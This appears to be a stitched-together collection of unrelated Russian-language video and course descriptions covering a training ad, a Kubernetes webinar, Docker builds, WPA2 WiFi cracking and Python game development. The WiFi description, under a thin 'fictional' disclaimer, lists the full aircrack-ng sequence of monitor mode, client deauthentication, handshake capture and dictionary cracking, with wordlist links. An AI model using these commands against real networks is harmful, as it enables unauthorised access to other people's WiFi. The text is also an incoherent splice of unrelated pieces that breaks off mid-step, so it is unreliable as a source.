Скоро тренинг: “Шаблоны разработки корпоративных приложений” 10-11 и 17-18 ноября 2018 года в Киеве и в он-лайне.
Регистрация: bit.ly/2JFws7s
(для тех, кто принимал участие в предыдущем тренинге — скидка 10%)
ITSumma запускает первый цикл вебинаров. Цель очень простая — помочь вам сразу же опробовать свои силы на практике. Нужно лишь немного времени, немного внимания и желание делать многое лучше многих. Как это делаем мы :-)
Первая тема — Kubernetes. Потому что мы считаем его самым удобным способом разработки и поддержки микросервисных приложений, переход к которым неизбежен для любого монолитного проекта, если вы хотите, чтобы он автоматически масштабировался, не боялся лавинообразного роста нагрузки и просто хорошо и быстро работал.
Мы с K8s знакомы не понаслышке. И хотим поделиться опытом, как спроектировать и успешно поддерживать проекты на его базе.
Первый выпуск ответит на вопрос «Зачем нужен Kubernetes».
Автор – Сергей Спорышев, руководитель высоконагруженных проектов ITSumma.
Появились вопросы? Спрашивайте в комментариях – ответим на все.
Одним из важных элементов процесса Continuous Delivery, построенного с использованием Docker, является сборка Docker-образов. На первый взгляд задача кажется тривиальной, а синтаксис Dockerfile — простым и понятным.
Но что, если вы используете микросервисную архитектуру и вам необходимо собирать сотни или даже тысячи образов каждый день? А если вам нужно исправить срочный баг на production, готовы ли вы ждать лишние минуты, пока будет произведена сборка?
● В этом ролике я покажу, что ни одну WiFi сеть нельзя считать защищенной. Так как проверка моей сети показала то, что доступ к сети может получить кто угодно. В этом ролике я покажу, как я это сделал.
● Это постановочный ролик, не имеющий никакого отношения к реальной жизни. Всё происходящее в ролике — выполнено используя средства монтажа. Всё происходящее в ролике — творческая выдумка автора. Все действия придуманы, а любые наименования ПО — вымышленны. Любые сходства с реальностью — не более чем случайность. В реальной же жизни, любые подобные действия строго запрещены! Исключением является цель проверки системы на безопасность, получив одобрение владельца сети.
● Снял продолжение: брутфорс со скоростью до 500 000 тыс паролей в секунду используя видеокарту: goo.gl/HbDh8i
● Порядок команд:
— ifconfig
— airmon-ng check kill
— airmon-ng start wlan0
— airodump-ng wlan0mon
— airodump-ng --bssid [MAC адрес точки доступа – без скобок!] --channel 1 -w wifi wlan0mon
— aireplay-ng --deauth 20 -a [MAC точки доступа] -c [MAC подключенного клиента] wlan0mon
— wpaclean ИмяНовогоФайла ИмяСтарогоФайла
— aircrack-ng -w [ПутьКСловарю] -b [MAC точки доступа] [ЧистыйХэндшейк .cap]
● Набор словарей:
— goo.gl/z7mnhf — Даты, использовать первым
— goo.gl/4BBPQy — Номера Телефонов RUS, использовать вторым
— goo.gl/bVsfo2 — Элитный словарь от InsidePRO
— goo.gl/Ab2fTE — Дополнительный словарь на 9 млн. слов
— ● В ролике "{100%} Как взломать любой WiFi? | WPA2 | Kali Linux | Как защититься от взлома? | UnderMind" — я рассказываю об информационной безопасности. И о реальной уязвимости всех сетей. Существует множество способов получения доступа к сети WiFi, в том числе социальная инженерия или уязвимости в WPS, но об этом как-нибудь в другой раз. И сейчас поговорим о самом надежном (на мой взгляд) методе, который сработает со 100% вероятностью.
● Сама проверка у нас подразделяется на 2 части. Первая: это захват хендшейка или рукопожатия. В понятии WiFi сетей это что-то вроде «Привет, чувак. Подключи меня», «Привет. Какой пароль?», «Пароль: Блаблабла». Мы прослушиваем эти данные, но поскольку пароль передается в зашифрованном виде, мы переходим ко второму этапу. А именно: к расшифровке хендшейка.
Всё делать мы будем на Kali Linux.
Первой командой смотрим интерфейс нашего WiFi адаптера
ifconfig
Выбираем тот, который отвечает за WiFi, это как правило самый последний.
Переводим наш WiFi адаптер в режим монитора. В этом режиме он будет ловить все пакеты WiFi, даже предназначенные другим устройствам. Делаем это командой:
Продолжение в ролике…
Python нашёл себе место почти во всех сферах IT: разработка веб-сайтов, управление банкоматами, станками ЧПУ, десктопные и мобильные приложения, а уж про искусственный интеллект, машинное обучение и анализ данных я вообще молчу. Сейчас Python становится лучшим другом хоть школьнику, хоть сотруднику научно исследовательской лаборатории. «А что на счёт игр?»Компьютерные игры –это огромная доля IT рынка, которая уже набрала и продолжает набирать обороты.«А игры то делать можно на питоне?» Сегодня мы расставим все точки над и. В этом видео я расскажу, можно ли делать игры на Python и какую нишу занял этот язык в сфере GameDev. Поехали!
Привет! Я долго занимаюсь программированием, в частности программирование на языке Python. Я много чего узнал за это время, и мне есть, чем поделиться со зрителями моего канала. Здесь выходят разнообразные ролики, касающиеся IT-тематики и программирования.
Подписывайся, будем узнавать что-то новое и работать вместе!